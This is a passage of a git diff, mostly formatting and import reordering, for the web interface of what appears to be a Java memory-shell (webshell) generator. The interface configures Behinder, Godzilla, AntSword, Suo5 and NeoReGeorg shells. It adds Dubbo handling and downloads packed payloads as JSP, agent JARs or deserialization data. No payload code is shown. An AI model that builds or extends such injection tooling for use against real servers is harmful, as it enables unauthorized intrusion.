<p>{t("common:shrink.description")}</p>
@@ -461,12 +411,10 @@ export default function MainConfigCard({
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:staticInitialize.description")}</p>
@@ -487,11 +435,7 @@ export default function MainConfigCard({
<BehinderTabContent form={form} shellTypes={shellTypes} />
<AntSwordTabContent form={form} shellTypes={shellTypes} />
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
<Suo5TabContent
tabValue="Suo5v2"
form={form}
shellTypes={shellTypes}
/>
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
<NeoRegTabContent form={form} shellTypes={shellTypes} />
<CustomTabContent form={form} shellTypes={shellTypes} />
<ProxyTabContent form={form} shellTypes={shellTypes} />
@@ -1,13 +1,15 @@
import type { PackerConfig } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
import { PackageIcon } from "lucide-react";
import { useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { FieldLabel, FieldSet } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { Spinner } from "@/components/ui/spinner";
import type { PackerConfig } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
export default function PackageConfigCard({
packerConfig,
@@ -84,11 +86,9 @@ export default function PackageConfigCard({
)}
/>
) : (
<div className="flex items-center justify-center p-4 gap-4 h-50">
<div className="flex h-50 items-center justify-center gap-4 p-4">
<Spinner />
<span className="text-sm text-muted-foreground">
{t("loading")}
</span>
<span className="text-sm text-muted-foreground">{t("loading")}</span>
</div>
)}
</CardContent>
+2 -1
View File
@@ -1,5 +1,6 @@
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
export function QuickUsage() {
@@ -13,7 +14,7 @@ export function QuickUsage() {
</CardTitle>
</CardHeader>
<CardContent>
<ol className="flex flex-col gap-4 list-decimal list-inside text-sm">
<ol className="flex list-inside list-decimal flex-col gap-4 text-sm">
<li>{t("memshell:quickUsage.step1")}</li>
<li>{t("memshell:quickUsage.step2")}</li>
<li>{t("memshell:quickUsage.step3")}</li>
+7 -10
View File
@@ -1,10 +1,12 @@
import type { MemShellResult } from "@/types/memshell";
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Separator } from "@/components/ui/separator";
import { downloadBytes, formatBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell";
export function AgentResult({
packMethod,
@@ -26,11 +28,10 @@ export function AgentResult({
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
<ol className="list-inside list-decimal space-y-4 text-sm">
<li className="flex items-center justify-between">
<span>
{t("common:download")} MemShellAgent.jar (
{formatBytes(atob(packResult).length)})
{t("common:download")} MemShellAgent.jar ({formatBytes(atob(packResult).length)})
</span>
<Button
size="sm"
@@ -56,9 +57,7 @@ export function AgentResult({
variant="outline"
className="w-28"
type="button"
onClick={() =>
window.open("https://github.com/jattach/jattach/releases")
}
onClick={() => window.open("https://github.com/jattach/jattach/releases")}
>
{t("common:download")}
</Button>
@@ -72,9 +71,7 @@ export function AgentResult({
</li>
<li>{t("memshell:tips.get-pid")}</li>
<li>
{isPureAgent
? t("memshell:tips.execute-command")
: t("memshell:tips.execute-command1")}
{isPureAgent ? t("memshell:tips.execute-command") : t("memshell:tips.execute-command1")}
</li>
<li>{t("memshell:tips.try-to-use-shell")}</li>
</ol>
@@ -1,6 +1,7 @@
import { FileTextIcon } from "lucide-react";
import { Fragment } from "react/jsx-runtime";
import { useTranslation } from "react-i18next";
import { Fragment } from "react/jsx-runtime";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Separator } from "@/components/ui/separator";
import { notNeedUrlPattern } from "@/lib/utils";
@@ -15,13 +16,13 @@ import {
ShellToolType,
type Suo5ShellToolConfig,
} from "@/types/memshell";
import { CopyableField } from "../../copyable-field";
import { FeedbackAlert } from "./feedback-alert";
export function BasicInfo({
generateResult,
}: Readonly<{ generateResult?: MemShellResult }>) {
export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) {
const { t } = useTranslation(["memshell", "common"]);
const isDubbo = generateResult?.shellConfig.server === "Dubbo";
return (
<Card>
<CardHeader>
@@ -34,11 +35,8 @@ export function BasicInfo({
</CardTitle>
</CardHeader>
<CardContent>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<CopyableField
label={t("common:server")}
text={generateResult?.shellConfig.server}
/>
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<CopyableField label={t("common:server")} text={generateResult?.shellConfig.server} />
<CopyableField
label={t("mainConfig.shellTool")}
text={generateResult?.shellConfig.shellTool}
@@ -54,30 +52,21 @@ export function BasicInfo({
value={generateResult?.injectorConfig.urlPattern}
/>
</div>
{generateResult?.shellConfig.shellTool !== ShellToolType.Custom && (
{generateResult?.shellConfig.shellTool !== ShellToolType.Custom && !isDubbo && (
<Separator className="my-1" />
)}
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
{generateResult?.shellConfig.shellTool === ShellToolType.Behinder && (
<>
<CopyableField
label={t("shellToolConfig.behinderScriptType")}
text="jsp"
/>
<CopyableField label={t("shellToolConfig.behinderScriptType")} text="jsp" />
<CopyableField
label={t("shellToolConfig.behinderEncryptType")}
text={t("shellToolConfig.behinderDefaultEncryptType")}
/>
<CopyableField
label={t("shellToolConfig.behinder.pass")}
text={
(generateResult?.shellToolConfig as BehinderShellToolConfig)
.pass
}
value={
(generateResult?.shellToolConfig as BehinderShellToolConfig)
.pass
}
text={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
value={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
/>
<CopyableField
label={t("shellToolConfig.behinder.header")}
@@ -90,25 +79,13 @@ export function BasicInfo({
<>
<CopyableField
label={t("shellToolConfig.godzilla.pass")}
text={
(generateResult?.shellToolConfig as GodzillaShellToolConfig)
.pass
}
value={
(generateResult?.shellToolConfig as GodzillaShellToolConfig)
.pass
}
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
/>
<CopyableField
label={t("shellToolConfig.godzilla.key")}
text={
(generateResult?.shellToolConfig as GodzillaShellToolConfig)
.key
}
value={
(generateResult?.shellToolConfig as GodzillaShellToolConfig)
.key
}
text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
/>
<CopyableField
label={t("shellToolConfig.godzilla.encryptor")}
@@ -125,29 +102,19 @@ export function BasicInfo({
/>
</>
)}
{generateResult?.shellConfig.shellTool === ShellToolType.Command && (
{generateResult?.shellConfig.shellTool === ShellToolType.Command && !isDubbo && (
<Fragment>
<CopyableField
hidden={generateResult?.shellConfig.shellType.includes(
"WebSocket",
)}
hidden={generateResult?.shellConfig.shellType.includes("WebSocket")}
label={t("common:paramName")}
text={
(generateResult?.shellToolConfig as CommandShellToolConfig)
.paramName
}
value={
(generateResult?.shellToolConfig as CommandShellToolConfig)
.paramName
}
text={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
value={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
/>
<CopyableField
hidden={
!(
generateResult?.shellConfig.shellType ===
"BypassNginxWebSocket" ||
generateResult?.shellConfig.shellType ===
"BypassNginxJakartaWebSocket"
generateResult?.shellConfig.shellType === "BypassNginxWebSocket" ||
generateResult?.shellConfig.shellType === "BypassNginxJakartaWebSocket"
)
}
label={t("shellToolConfig.httpHeader")}
@@ -175,14 +142,8 @@ export function BasicInfo({
<>
<CopyableField
label={t("shellToolConfig.antSword.pass")}
text={
(generateResult?.shellToolConfig as AntSwordShellToolConfig)
.pass
}
value={
(generateResult?.shellToolConfig as AntSwordShellToolConfig)
.pass
}
text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
/>
<CopyableField
label={t("shellToolConfig.httpHeader")}
@@ -191,14 +152,9 @@ export function BasicInfo({
/>
</>
)}
{generateResult?.shellConfig.shellTool ===
ShellToolType.NeoreGeorg && (
{generateResult?.shellConfig.shellTool === ShellToolType.NeoreGeorg && (
<>
<CopyableField
label={t("shellToolConfig.neoreGeorgKey")}
text="key"
value="key"
/>
<CopyableField label={t("shellToolConfig.neoreGeorgKey")} text="key" value="key" />
<CopyableField
label={t("shellToolConfig.neoreGeorgHeader")}
text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
@@ -208,7 +164,7 @@ export function BasicInfo({
)}
</div>
<Separator className="my-1" />
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<CopyableField
label={t("mainConfig.injectorClassName")}
value={generateResult?.injectorClassName}
@@ -1,5 +1,6 @@
import { CircleHelpIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import {
AlertDialog,
AlertDialogAction,
@@ -1,10 +1,12 @@
import type { MemShellResult } from "@/types/memshell";
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Separator } from "@/components/ui/separator";
import { downloadBytes, formatBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell";
export function JarResult({
packMethod,
@@ -25,11 +27,10 @@ export function JarResult({
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
<ol className="list-inside list-decimal space-y-4 text-sm">
<li className="flex items-center justify-between">
<span>
{t("common:download")} {packMethod}Shell.jar (
{formatBytes(atob(packResult).length)})
{t("common:download")} {packMethod}Shell.jar ({formatBytes(atob(packResult).length)})
</span>
<Button
size="sm"
@@ -1,6 +1,7 @@
import { DownloadIcon } from "lucide-react";
import { useCallback, useEffect, useMemo, useState } from "react";
import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import { Button } from "@/components/ui/button";
import {
@@ -26,14 +27,9 @@ export function MultiPackResult({
const showCode = packMethod === "JSP";
const { t } = useTranslation();
const packResults = allPackResults as Record<string, string> | undefined;
const packMethods = useMemo(
() => Object.keys(packResults ?? {}),
[packResults],
);
const packMethods = useMemo(() => Object.keys(packResults ?? {}), [packResults]);
const [selectedMethod, setSelectedMethod] = useState(
() => packMethods[0] ?? "",
);
const [selectedMethod, setSelectedMethod] = useState(() => packMethods[0] ?? "");
const packResult = useMemo(() => {
if (!selectedMethod) {
@@ -55,16 +51,12 @@ export function MultiPackResult({
}, [packMethods, selectedMethod]);
const handleDownload = useCallback(() => {
const fileName =
shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
if (packMethod === "JSP") {
const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp";
const content = new Blob([packResult], { type: "text/plain" });
return downloadContent(content, fileName, fileExtension);
} else if (
packMethod === "JavaDeserialize" ||
packMethod.includes("Hessian")
) {
} else if (packMethod === "JavaDeserialize" || packMethod.includes("Hessian")) {
const content = new Blob([base64ToBytes(packResult)], {
type: "application/octet-stream",
});
@@ -73,20 +65,13 @@ export function MultiPackResult({
const base64Content = packResults?.[packMethods[0]] ?? "";
return downloadBytes(base64Content, shellClassName);
}
}, [
packMethod,
packMethods,
packResult,
packResults,
selectedMethod,
shellClassName,
]);
}, [packMethod, packMethods, packResult, packResults, selectedMethod, shellClassName]);
return (
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<div className="flex items-center justify-between gap-2 text-xs">
<Select
onValueChange={(value) => {
setSelectedMethod(value as string);
@@ -94,9 +79,7 @@ export function MultiPackResult({
value={selectedMethod}
>
<SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
<span className="text-muted-foreground">
{t("common:packerMethod")}:&nbsp;
</span>
<span className="text-muted-foreground">{t("common:packerMethod")}:&nbsp;</span>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
@@ -1,6 +1,13 @@
import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import type { MemShellResult } from "@/types/memshell";
import { DownloadIcon } from "lucide-react";
import { useCallback } from "react";
import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import { Button } from "@/components/ui/button";
import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
import { AgentResult } from "./agent";
import { JarResult } from "./jar-result";
import { MultiPackResult } from "./multi-packer";
@@ -48,17 +55,51 @@ export function ResultComponent({
);
}
const shellClassName = generateResult?.shellClassName;
const handleDownload = useCallback(() => {
const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
if (packMethod.includes("JSP")) {
const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp";
const content = new Blob([packResult as string], { type: "text/plain" });
return downloadContent(content, fileName, fileExtension);
} else if (packMethod.includes("JavaCommons") || packMethod.includes("Hessian")) {
const content = new Blob([base64ToBytes(packResult as string)], {
type: "application/octet-stream",
});
return downloadContent(content, fileName, ".data");
} else if (packMethod === "Base64") {
return downloadBytes(packResult as string, shellClassName);
}
}, [packMethod, packResult, shellClassName]);
return (
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<div className="flex items-center justify-between gap-2 text-xs">
<span>
{t("common:packerMethod")}{packMethod}
</span>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
button={
packMethod.includes("JSP") ||
packMethod === "Base64" ||
packMethod.includes("JavaCommons") ||
packMethod.includes("Hessian") ? (
<Button
variant="ghost"
size="icon"
type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
onClick={handleDownload}
>
<DownloadIcon className="h-4 w-4" />
</Button>
) : null
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
@@ -1,11 +1,9 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import {
Field,
FieldContent,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field";
import {
Select,
SelectContent,
@@ -13,7 +11,6 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import type { MemShellFormSchema } from "@/types/schema";
export function ServerVersionFormField({
form,
@@ -30,17 +27,10 @@ export function ServerVersionFormField({
render={({ field, fieldState }) => (
<Field orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="serverVersion">
{t("common:serverVersion")}
</FieldLabel>
<FieldLabel htmlFor="serverVersion">{t("common:serverVersion")}</FieldLabel>
<Select onValueChange={field.onChange} value={field.value}>
<SelectTrigger
id="serverVersion"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectTrigger id="serverVersion" aria-invalid={fieldState.invalid}>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{serverVersionOptions.map((v) => (
+8 -19
View File
@@ -1,3 +1,5 @@
import type { MemShellResult } from "@/types/memshell";
import { DownloadIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
@@ -6,7 +8,7 @@ import { QuickUsage } from "@/components/memshell/quick-usage";
import { Button } from "@/components/ui/button";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { downloadBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell";
import CodeViewer from "../code-viewer";
import { BasicInfo } from "./results/basic-info";
import { ResultComponent } from "./results/result-component";
@@ -30,13 +32,9 @@ export default function ShellResult({
return (
<Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-3">
<TabsTrigger value="packResult">
{t("common:generateResult")}
</TabsTrigger>
<TabsTrigger value="packResult">{t("common:generateResult")}</TabsTrigger>
<TabsTrigger value="shell">{t("memshell:shellClass")}</TabsTrigger>
<TabsTrigger value="injector">
{t("memshell:injectorClass")}
</TabsTrigger>
<TabsTrigger value="injector">{t("memshell:injectorClass")}</TabsTrigger>
</TabsList>
<TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} />
@@ -50,11 +48,7 @@ export default function ShellResult({
<TabsContent value="shell" className="mt-4">
<CodeViewer
showLineNumbers={false}
header={
<div className="text-xs truncate">
{generateResult?.shellClassName}
</div>
}
header={<div className="truncate text-xs">{generateResult?.shellClassName}</div>}
button={
<Button
variant="ghost"
@@ -66,10 +60,7 @@ export default function ShellResult({
toast.warning(t("memshell:tips.shellBytesEmpty"));
return;
}
downloadBytes(
generateResult?.shellBytesBase64Str,
generateResult?.shellClassName,
);
downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName);
}}
>
<DownloadIcon className="h-4 w-4" />
@@ -85,9 +76,7 @@ export default function ShellResult({
<CodeViewer
showLineNumbers={false}
wrapLongLines={true}
header={
<div className="text-xs">{generateResult?.injectorClassName}</div>
}
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
button={
<Button
variant="ghost"
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -19,7 +22,7 @@ export function AntSwordTabContent({
return (
<TabsContent value="AntSword">
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<Controller
control={form.control}
@@ -29,24 +32,18 @@ export function AntSwordTabContent({
<FieldLabel>
{t("shellToolConfig.antSword.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -58,10 +55,7 @@ export function AntSwordTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -19,7 +22,7 @@ export function BehinderTabContent({
return (
<TabsContent value="Behinder">
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<Controller
control={form.control}
@@ -29,24 +32,18 @@ export function BehinderTabContent({
<FieldLabel>
{t("shellToolConfig.behinder.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -58,10 +55,7 @@ export function BehinderTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -1,11 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Shuffle } from "lucide-react";
import { Fragment, useEffect, useState } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import type { MemShellFormSchema } from "@/types/schema";
export function OptionalClassFormField({
form,
@@ -16,12 +18,8 @@ export function OptionalClassFormField({
const [useRandomClassName, setUseRandomClassName] = useState(
() => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
);
const [savedShellClassName, setSavedShellClassName] = useState(
initialShellClassName,
);
const [savedInjectorClassName, setSavedInjectorClassName] = useState(
initialInjectorClassName,
);
const [savedShellClassName, setSavedShellClassName] = useState(initialShellClassName);
const [savedInjectorClassName, setSavedInjectorClassName] = useState(initialInjectorClassName);
const shellClassName = form.watch("shellClassName");
const injectorClassName = form.watch("injectorClassName");
@@ -38,10 +36,7 @@ export function OptionalClassFormField({
}, [injectorClassName, useRandomClassName]);
useEffect(() => {
if (
useRandomClassName &&
(shellClassName?.trim() || injectorClassName?.trim())
) {
if (useRandomClassName && (shellClassName?.trim() || injectorClassName?.trim())) {
setUseRandomClassName(false);
}
}, [injectorClassName, shellClassName, useRandomClassName]);
@@ -61,7 +56,7 @@ export function OptionalClassFormField({
return (
<Fragment>
<div className="pt-2 flex items-center justify-between gap-3">
<div className="flex items-center justify-between gap-3 pt-2">
<div className="flex items-center gap-2 text-sm font-medium">
<Shuffle className="h-4 w-4" />
<span>{t("mainConfig.randomClassName")}</span>
@@ -82,11 +77,7 @@ export function OptionalClassFormField({
<FieldLabel htmlFor="shellClassName">
{t("mainConfig.shellClassName")} {t("common:optional")}
</FieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input id="shellClassName" {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -100,11 +91,7 @@ export function OptionalClassFormField({
<FieldLabel htmlFor="injectClassName">
{t("mainConfig.injectorClassName")} {t("common:optional")}
</FieldLabel>
<Input
id="injectClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input id="injectClassName" {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -1,14 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { useQuery } from "@tanstack/react-query";
import { ChevronDown, ChevronRight, InfoIcon } from "lucide-react";
import { useState } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import {
Collapsible,
CollapsibleContent,
CollapsibleTrigger,
} from "@/components/ui/collapsible";
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import {
@@ -19,13 +18,9 @@ import {
SelectValue,
} from "@/components/ui/select";
import { TabsContent } from "@/components/ui/tabs";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
import { env } from "@/config";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -42,6 +37,10 @@ export function CommandTabContent({
name: "shellType",
control: form.control,
});
const server = useWatch({
name: "server",
control: form.control,
});
const { data } = useQuery<{
encryptors: Array<string>;
implementationClasses: Array<string>;
@@ -56,38 +55,36 @@ export function CommandTabContent({
return (
<TabsContent value="Command">
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<Controller
control={form.control}
name="commandParamName"
render={({ field }) => (
<Field className="gap-1" hidden={shellType.includes("WebSocket")}>
<div className="flex items-center gap-1">
<FieldLabel>
{t("common:paramName")} {t("common:optional")}
</FieldLabel>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:paramName.description")}</p>
</TooltipContent>
</Tooltip>
</div>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
{server !== "Dubbo" && (
<Controller
control={form.control}
name="commandParamName"
render={({ field }) => (
<Field className="gap-1" hidden={shellType.includes("WebSocket")}>
<div className="flex items-center gap-1">
<FieldLabel>
{t("common:paramName")} {t("common:optional")}
</FieldLabel>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:paramName.description")}</p>
</TooltipContent>
</Tooltip>
</div>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
)}
<div
className="grid grid-cols-1 md:grid-cols-2 gap-2"
className="grid grid-cols-1 gap-2 md:grid-cols-2"
hidden={
shellType !== "BypassNginxWebSocket" &&
shellType !== "BypassNginxJakartaWebSocket"
shellType !== "BypassNginxWebSocket" && shellType !== "BypassNginxJakartaWebSocket"
}
>
<Controller
@@ -96,10 +93,7 @@ export function CommandTabContent({
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -111,16 +105,13 @@ export function CommandTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
</div>
<Collapsible open={isAdvancedOpen} onOpenChange={setIsAdvancedOpen}>
<CollapsibleTrigger className="flex items-center gap-2 w-full py-2 text-sm font-medium hover:underline">
<CollapsibleTrigger className="flex w-full items-center gap-2 py-2 text-sm font-medium hover:underline">
{isAdvancedOpen ? (
<ChevronDown className="h-4 w-4" />
) : (
@@ -129,22 +120,16 @@ export function CommandTabContent({
{t("common:advancedConfig")}
</CollapsibleTrigger>
<CollapsibleContent className="space-y-2 pt-2">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="encryptor"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:encryptor")}</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
defaultValue="RAW"
>
<Select onValueChange={field.onChange} value={field.value} defaultValue="RAW">
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{data?.encryptors?.map((v) => (
@@ -169,9 +154,7 @@ export function CommandTabContent({
defaultValue="RuntimeExec"
>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{data?.implementationClasses?.map((v) => (
@@ -193,11 +176,8 @@ export function CommandTabContent({
<FieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
<p className="text-xs text-muted-foreground mt-1">
<Input {...field} placeholder={t("common:commandTemplate.placeholder")} />
<p className="mt-1 text-xs text-muted-foreground">
{t("common:commandTemplate.description")}
</p>
</Field>
@@ -1,7 +1,10 @@
import type { MemShellFormSchema } from "@/types/schema";
import { useEffect, useRef, useState } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
@@ -10,7 +13,7 @@ import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { TabsContent } from "@/components/ui/tabs";
import { Textarea } from "@/components/ui/textarea";
import { env } from "@/config";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -85,7 +88,7 @@ export default function CustomTabContent({
return (
<TabsContent value="Custom">
<Card>
